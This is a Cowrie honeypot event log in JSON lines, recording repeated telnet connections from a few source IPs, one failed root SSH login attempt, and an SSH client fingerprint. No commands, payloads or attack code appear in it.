{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45148,"dst_ip":"159.203.135.109","dst_port":23,"session":"1213e7baa523","protocol":"telnet","message":"New connection: 162.55.233.176:45148 (159.203.135.109:23) [session: 1213e7baa523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:20.307126Z"}
{"eventid":"cowrie.session.closed","duration":39.333030700683594,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:20.470952Z","src_ip":"162.55.233.176","session":"6e3a05122b16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45160,"dst_ip":"159.203.135.109","dst_port":23,"session":"3caac7b0fe21","protocol":"telnet","message":"New connection: 162.55.233.176:45160 (159.203.135.109:23) [session: 3caac7b0fe21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:20.552516Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45176,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd4700daf219","protocol":"telnet","message":"New connection: 162.55.233.176:45176 (159.203.135.109:23) [session: dd4700daf219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:20.784986Z"}
{"eventid":"cowrie.session.closed","duration":31.030941247940063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:21.295978Z","src_ip":"162.55.233.176","session":"13d3fed534a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.82648777961731,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:21.511113Z","src_ip":"162.55.233.176","session":"c6b374aeb624","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45188,"dst_ip":"159.203.135.109","dst_port":23,"session":"aac0de8b5478","protocol":"telnet","message":"New connection: 162.55.233.176:45188 (159.203.135.109:23) [session: aac0de8b5478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:21.516706Z"}
{"eventid":"cowrie.session.closed","duration":32.664064168930054,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:21.671158Z","src_ip":"162.55.233.176","session":"07d4b9f1953b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45190,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3b964a932bb","protocol":"telnet","message":"New connection: 162.55.233.176:45190 (159.203.135.109:23) [session: b3b964a932bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:21.718639Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45196,"dst_ip":"159.203.135.109","dst_port":23,"session":"66b2a8b2ee8b","protocol":"telnet","message":"New connection: 162.55.233.176:45196 (159.203.135.109:23) [session: 66b2a8b2ee8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:21.732642Z"}
{"eventid":"cowrie.session.closed","duration":31.22522735595703,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:21.766030Z","src_ip":"162.55.233.176","session":"2e6a9f716a28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.24490427970886,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:21.838007Z","src_ip":"162.55.233.176","session":"643dc026ee33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45206,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d94ae8162b4","protocol":"telnet","message":"New connection: 162.55.233.176:45206 (159.203.135.109:23) [session: 3d94ae8162b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:22.086823Z"}
{"eventid":"cowrie.session.closed","duration":37.007046937942505,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:22.198090Z","src_ip":"162.55.233.176","session":"49867bbe0616","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.317877531051636,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:22.340196Z","src_ip":"162.55.233.176","session":"da3a0f4bc93c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.255.230.135","src_port":41701,"dst_ip":"159.203.135.109","dst_port":23,"session":"2645a52bca15","protocol":"telnet","message":"New connection: 138.255.230.135:41701 (159.203.135.109:23) [session: 2645a52bca15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:22.650962Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57058,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb4bb1c1d1e5","protocol":"telnet","message":"New connection: 162.55.233.176:57058 (159.203.135.109:23) [session: eb4bb1c1d1e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:23.072880Z"}
{"eventid":"cowrie.session.closed","duration":30.557082891464233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:23.108758Z","src_ip":"162.55.233.176","session":"f9d7f575743e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"volker","message":"login attempt [root/volker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:23.132321Z","src_ip":"213.209.159.158","session":"a0f940f76642","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57070,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8ffc6fb99d3","protocol":"telnet","message":"New connection: 162.55.233.176:57070 (159.203.135.109:23) [session: a8ffc6fb99d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:23.246656Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57074,"dst_ip":"159.203.135.109","dst_port":23,"session":"b60b3898c8db","protocol":"telnet","message":"New connection: 162.55.233.176:57074 (159.203.135.109:23) [session: b60b3898c8db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:23.293126Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57076,"dst_ip":"159.203.135.109","dst_port":23,"session":"654692b780bb","protocol":"telnet","message":"New connection: 162.55.233.176:57076 (159.203.135.109:23) [session: 654692b780bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:23.400681Z"}
{"eventid":"cowrie.session.closed","duration":30.50894021987915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:23.405578Z","src_ip":"162.55.233.176","session":"1270b6deeb5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57088,"dst_ip":"159.203.135.109","dst_port":23,"session":"be3ccca10d9e","protocol":"telnet","message":"New connection: 162.55.233.176:57088 (159.203.135.109:23) [session: be3ccca10d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:23.697779Z"}
{"eventid":"cowrie.session.closed","duration":36.36920499801636,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:23.782644Z","src_ip":"162.55.233.176","session":"5947e9f8289a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57096,"dst_ip":"159.203.135.109","dst_port":23,"session":"264b5545f14b","protocol":"telnet","message":"New connection: 162.55.233.176:57096 (159.203.135.109:23) [session: 264b5545f14b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:24.009197Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57108,"dst_ip":"159.203.135.109","dst_port":23,"session":"569c49713e97","protocol":"telnet","message":"New connection: 162.55.233.176:57108 (159.203.135.109:23) [session: 569c49713e97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:24.106072Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57114,"dst_ip":"159.203.135.109","dst_port":23,"session":"90b8a473e7e0","protocol":"telnet","message":"New connection: 162.55.233.176:57114 (159.203.135.109:23) [session: 90b8a473e7e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:24.326120Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57124,"dst_ip":"159.203.135.109","dst_port":23,"session":"55d982c5e40f","protocol":"telnet","message":"New connection: 162.55.233.176:57124 (159.203.135.109:23) [session: 55d982c5e40f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:24.754743Z"}
{"eventid":"cowrie.session.closed","duration":31.528404474258423,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:24.761325Z","src_ip":"162.55.233.176","session":"646b851fb00d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.55198836326599,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:24.822088Z","src_ip":"162.55.233.176","session":"d76d05406bc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57130,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe04ae0439ea","protocol":"telnet","message":"New connection: 162.55.233.176:57130 (159.203.135.109:23) [session: fe04ae0439ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:24.906893Z"}
{"eventid":"cowrie.session.closed","duration":31.534508228302002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:25.532904Z","src_ip":"162.55.233.176","session":"80ef640b437c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.488394260406494,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:25.653477Z","src_ip":"162.55.233.176","session":"361338416167","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.79476809501648,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:25.734344Z","src_ip":"162.55.233.176","session":"20eb429f29f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.46214008331299,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:25.742791Z","src_ip":"162.55.233.176","session":"df6c4effdd60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:25.826176Z","src_ip":"213.209.159.158","session":"a0f940f76642","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.20444345474243,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:25.839015Z","src_ip":"162.55.233.176","session":"5dd28a49d08b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.329649448394775,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:25.860898Z","src_ip":"162.55.233.176","session":"724217f14f9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57140,"dst_ip":"159.203.135.109","dst_port":23,"session":"faa39a3b651b","protocol":"telnet","message":"New connection: 162.55.233.176:57140 (159.203.135.109:23) [session: faa39a3b651b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:25.908501Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":40302,"dst_ip":"10.17.0.5","dst_port":22,"session":"773643d3a49f","protocol":"ssh","message":"New connection: 213.209.159.158:40302 (10.17.0.5:22) [session: 773643d3a49f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:25.921236Z"}
{"eventid":"cowrie.session.closed","duration":41.54582071304321,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:25.951833Z","src_ip":"162.55.233.176","session":"c7bc09b1f4c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":34084,"dst_ip":"10.17.0.5","dst_port":23,"session":"33cebde4cebf","protocol":"telnet","message":"New connection: 206.189.32.23:34084 (10.17.0.5:23) [session: 33cebde4cebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:26.153114Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57150,"dst_ip":"159.203.135.109","dst_port":23,"session":"99aabf5ec51d","protocol":"telnet","message":"New connection: 162.55.233.176:57150 (159.203.135.109:23) [session: 99aabf5ec51d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:26.211665Z"}
{"eventid":"cowrie.session.closed","duration":30.49465537071228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:26.394986Z","src_ip":"162.55.233.176","session":"12f603d667a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57162,"dst_ip":"159.203.135.109","dst_port":23,"session":"f89f791b36f7","protocol":"telnet","message":"New connection: 162.55.233.176:57162 (159.203.135.109:23) [session: f89f791b36f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:26.418641Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57176,"dst_ip":"159.203.135.109","dst_port":23,"session":"55ef8a42ce5a","protocol":"telnet","message":"New connection: 162.55.233.176:57176 (159.203.135.109:23) [session: 55ef8a42ce5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:26.694206Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57192,"dst_ip":"159.203.135.109","dst_port":23,"session":"6532cbfbd3cd","protocol":"telnet","message":"New connection: 162.55.233.176:57192 (159.203.135.109:23) [session: 6532cbfbd3cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:26.776858Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57196,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b2045959609","protocol":"telnet","message":"New connection: 162.55.233.176:57196 (159.203.135.109:23) [session: 4b2045959609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:26.946615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:27.374030Z","src_ip":"213.209.159.158","session":"773643d3a49f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:27.378573Z","src_ip":"213.209.159.158","session":"773643d3a49f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.255.230.135","src_port":42332,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4974c8c003a","protocol":"telnet","message":"New connection: 138.255.230.135:42332 (159.203.135.109:23) [session: a4974c8c003a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:27.565786Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57210,"dst_ip":"159.203.135.109","dst_port":23,"session":"c550dec715b4","protocol":"telnet","message":"New connection: 162.55.233.176:57210 (159.203.135.109:23) [session: c550dec715b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:27.853903Z"}
{"eventid":"cowrie.session.closed","duration":32.60464692115784,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:27.984728Z","src_ip":"162.55.233.176","session":"13c1fa7a03bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57224,"dst_ip":"159.203.135.109","dst_port":23,"session":"60a3f5721b89","protocol":"telnet","message":"New connection: 162.55.233.176:57224 (159.203.135.109:23) [session: 60a3f5721b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:28.342402Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57230,"dst_ip":"159.203.135.109","dst_port":23,"session":"50df160562f3","protocol":"telnet","message":"New connection: 162.55.233.176:57230 (159.203.135.109:23) [session: 50df160562f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:28.356539Z"}
{"eventid":"cowrie.session.closed","duration":31.23377227783203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:28.691210Z","src_ip":"162.55.233.176","session":"ef5b1cefff77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.399306297302246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:28.753783Z","src_ip":"162.55.233.176","session":"c523375ddf74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.49681544303894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:28.938812Z","src_ip":"162.55.233.176","session":"28095c7a652c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.962526082992554,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:29.006024Z","src_ip":"162.55.233.176","session":"23609c17117c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.063976764678955,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:29.037218Z","src_ip":"162.55.233.176","session":"63624464affc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57244,"dst_ip":"159.203.135.109","dst_port":23,"session":"3988a385056c","protocol":"telnet","message":"New connection: 162.55.233.176:57244 (159.203.135.109:23) [session: 3988a385056c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:29.171434Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57218,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9d762cfe479","protocol":"telnet","message":"New connection: 162.55.233.176:57218 (159.203.135.109:23) [session: b9d762cfe479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:29.275543Z"}
{"eventid":"cowrie.session.closed","duration":31.262146472930908,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:29.353983Z","src_ip":"162.55.233.176","session":"876e62099f74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57260,"dst_ip":"159.203.135.109","dst_port":23,"session":"d27c24fc085f","protocol":"telnet","message":"New connection: 162.55.233.176:57260 (159.203.135.109:23) [session: d27c24fc085f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:29.444863Z"}
{"eventid":"cowrie.session.closed","duration":35.68497967720032,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:29.810188Z","src_ip":"162.55.233.176","session":"281ba22662ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.61674165725708,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:29.826134Z","src_ip":"162.55.233.176","session":"d08fa9999443","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57266,"dst_ip":"159.203.135.109","dst_port":23,"session":"0808a113cbbc","protocol":"telnet","message":"New connection: 162.55.233.176:57266 (159.203.135.109:23) [session: 0808a113cbbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:30.010640Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57276,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3fef273ab6b","protocol":"telnet","message":"New connection: 162.55.233.176:57276 (159.203.135.109:23) [session: d3fef273ab6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:30.020302Z"}
{"eventid":"cowrie.session.closed","duration":30.710731506347656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:30.431786Z","src_ip":"162.55.233.176","session":"953cf1b25133","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.140178442001343,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:30.799738Z","src_ip":"162.55.233.176","session":"6509ec1308a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57284,"dst_ip":"159.203.135.109","dst_port":23,"session":"c134824e6977","protocol":"telnet","message":"New connection: 162.55.233.176:57284 (159.203.135.109:23) [session: c134824e6977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:30.977220Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57288,"dst_ip":"159.203.135.109","dst_port":23,"session":"c468eb2043f4","protocol":"telnet","message":"New connection: 162.55.233.176:57288 (159.203.135.109:23) [session: c468eb2043f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:31.373884Z"}
{"eventid":"cowrie.session.closed","duration":33.62222146987915,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:31.902783Z","src_ip":"162.55.233.176","session":"37f8881c571b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57298,"dst_ip":"159.203.135.109","dst_port":23,"session":"301a034ff851","protocol":"telnet","message":"New connection: 162.55.233.176:57298 (159.203.135.109:23) [session: 301a034ff851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:32.288978Z"}
{"eventid":"cowrie.session.closed","duration":33.31443977355957,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:32.344042Z","src_ip":"162.55.233.176","session":"f9a56546899f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57312,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c4209418c86","protocol":"telnet","message":"New connection: 162.55.233.176:57312 (159.203.135.109:23) [session: 6c4209418c86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:32.489505Z"}
